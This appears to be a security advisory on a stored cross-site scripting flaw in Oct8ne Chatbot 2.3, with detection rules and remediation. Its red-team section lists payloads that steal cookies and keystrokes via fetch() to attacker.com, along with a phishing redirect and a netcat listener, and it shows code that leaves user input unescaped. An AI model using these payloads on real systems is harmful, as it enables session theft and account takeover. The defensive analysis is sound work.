CVE-2025-10869

Executive Summary

CVE-2025-10869 identifies a Stored Cross-Site Scripting (XSS) vulnerability in Oct8ne Chatbot version 2.3. The flaw resides in the /Data/SaveInteractions endpoint, where an attacker can inject a malicious JavaScript payload during the creation of a chat transcript. This transcript is then sent via email to the victim. When the victim opens the email and views the transcript, the injected script executes in their browser, allowing the attacker to steal session cookies, perform actions on behalf of the user, or exfiltrate sensitive data.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered simply by a user viewing an email. The attack vector is the email channel, making it a classic Stored XSS with a delivery mechanism via email.

Supply Chain & Package Security

Oct8ne is a proprietary chatbot solution. No open-source package (NPM, PyPI, Go, Ruby) is directly associated with this vulnerability. The risk is limited to organizations using Oct8ne Chatbot v2.3.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The attacker sends the malicious payload over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the email and view the transcript.
• Scope (S): Changed (C) – The vulnerable component (chatbot) impacts the user's browser (a different security context).
• Confidentiality (C): High (H) – Session cookies and sensitive data can be stolen.
• Integrity (I): High (H) – The attacker can perform actions on behalf of the user.
• Availability (A): Low (L) – The attack could disrupt the user's session.

Estimated CVSS Score: 8.2 (High)

Threat Level: High. The attack is easy to execute, requires no authentication, and can lead to full account takeover.

Deep Dive & Mechanics

The vulnerability is a Stored XSS in the Oct8ne Chatbot's transcript generation feature. The attack flow is as follows:

1. Injection Point: The attacker interacts with the Oct8ne chatbot on a target website. During the chat, the attacker sends a malicious payload (e.g., <script>alert('XSS')</script>) as part of their message.
2. Storage: The chatbot's backend stores this interaction data via the /Data/SaveInteractions endpoint. The payload is stored in the database without proper sanitization.
3. Delivery: When the chat ends, the system generates a transcript of the conversation and sends it via email to the participants (including the victim).
4. Trigger: The victim opens the email and views the transcript (likely in a web-based email client or a preview pane). The injected script executes in the victim's browser context.
5. Impact: The script can steal session cookies, redirect the user to a phishing page, or perform actions on behalf of the user (e.g., making purchases, changing settings).

The root cause is the lack of output encoding or sanitization of user-supplied data before it is included in the email transcript.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

// Backend endpoint: /Data/SaveInteractions
app.post('/Data/SaveInteractions', (req, res) => {
    const userMessage = req.body.message;
    // Directly store the message without sanitization
    db.saveInteraction(userMessage);
    res.sendStatus(200);
});

// Email generation function
function generateTranscript(interactions) {
    let html = '<html><body><h1>Chat Transcript</h1>';
    interactions.forEach(interaction => {
        // Vulnerable: directly embedding user input into HTML
        html += `<p>${interaction.message}</p>`;
    });
    html += '</body></html>';
    sendEmail(html);
}

Patched Code (Conceptual):

// Backend endpoint: /Data/SaveInteractions
app.post('/Data/SaveInteractions', (req, res) => {
    const userMessage = req.body.message;
    // Sanitize the input before storage
    const sanitizedMessage = sanitizeHtml(userMessage, {
        allowedTags: [],
        allowedAttributes: {}
    });
    db.saveInteraction(sanitizedMessage);
    res.sendStatus(200);
});

// Email generation function
function generateTranscript(interactions) {
    let html = '<html><body><h1>Chat Transcript</h1>';
    interactions.forEach(interaction => {
        // Safe: using textContent equivalent to prevent XSS
        html += `<p>${escapeHtml(interaction.message)}</p>`;
    });
    html += '</body></html>';
    sendEmail(html);
}

The patch would involve:

• Input Sanitization: Strip all HTML tags from user input before storage.
• Output Encoding: Encode HTML entities (e.g., < to <) when rendering the transcript.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to a website using Oct8ne Chatbot v2.3.
• Ability to interact with the chatbot.

Exploit Steps:

1. Open the target website and initiate a chat with the Oct8ne chatbot.
2. Send a malicious payload as a message. Example payloads:
   • Cookie Stealer: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   • Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
   • Phishing Redirect: <script>window.location='https://phishing-site.com'</script>
3. End the chat or wait for the transcript to be generated.
4. The victim receives the email with the transcript.
5. When the victim opens the email, the script executes.

Lab Setup:

• Use a local instance of Oct8ne Chatbot v2.3 (if available) or a vulnerable demo.
• Set up a listener (e.g., nc -lvnp 8080 or a webhook service like webhook.site) to capture exfiltrated data.
• Use a disposable email service to receive the transcript.

Blue Team (Defender)

Detection:

• Monitor for unusual chat messages containing HTML tags or JavaScript code.
• Alert on emails containing chat transcripts with embedded scripts.
• Use web application firewalls (WAF) to block common XSS payloads in chat inputs.

Prevention:

• Implement strict input validation and output encoding.
• Use Content Security Policy (CSP) headers in the email rendering context.
• Disable HTML rendering in email clients (use plain text for transcripts).

Hunting:

• Search logs for /Data/SaveInteractions requests with suspicious payloads.
• Review email logs for transcripts containing <script> tags.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to attacker-controlled domains from the victim's browser.
  • HTTP requests to /Data/SaveInteractions with payloads containing <script>, onerror, onload, etc.
• File/System:
  • Email transcripts containing JavaScript code.
  • Browser cookies being exfiltrated to external domains.
• Logs:
  • Web server logs showing requests to /Data/SaveInteractions with unusual parameters.
  • Email server logs showing delivery of transcripts with HTML content.

Detection Engineering

YARA Rule

rule Oct8ne_Stored_XSS_Transcript {
    meta:
        description = "Detects malicious JavaScript payloads in Oct8ne chat transcripts"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-10869"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/si
        $onerror = /onerror\s*=/i
        $onload = /onload\s*=/i
        $fetch = /fetch\s*\(/i
        $xmlhttp = /XMLHttpRequest/i
    condition:
        any of ($script_tag, $onerror, $onload) or
        (any of ($fetch, $xmlhttp) and #script_tag > 0)
}

Sigma Rule

title: Oct8ne Stored XSS via Email Transcript
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects potential XSS payloads in Oct8ne chat transcripts sent via email
author: Valters IT
date: 2025-04-10
logsource:
    category: email
    product: generic
detection:
    selection:
        Subject|contains: "Chat Transcript"
        Body|contains:
            - "<script>"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in chat messages (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Oct8ne Stored XSS - Payload in /Data/SaveInteractions"; flow:to_server,established; content:"/Data/SaveInteractions"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Email Transcripts: If possible, disable the feature that sends chat transcripts via email until a patch is applied.
2. Input Sanitization: Implement server-side sanitization of all user inputs in the chat interface. Strip all HTML tags and encode special characters.
3. Output Encoding: Ensure that any user-supplied data rendered in emails is properly HTML-encoded.

Long-Term Fixes:

1. Apply Vendor Patch: Monitor Oct8ne for an official patch and apply it as soon as it is released.
2. Web Application Firewall (WAF): Deploy a WAF with rules to block common XSS payloads in chat inputs.
3. Content Security Policy (CSP): Implement a strict CSP for the email rendering context to prevent script execution.
4. User Education: Train users to be cautious when opening chat transcripts via email and to report suspicious messages.

Workarounds:

• Use a proxy or reverse proxy to inspect and sanitize requests to /Data/SaveInteractions.
• Implement a custom middleware that validates and sanitizes all chat messages before storage.

Report generated by Valters IT DevSecOps & CTI Division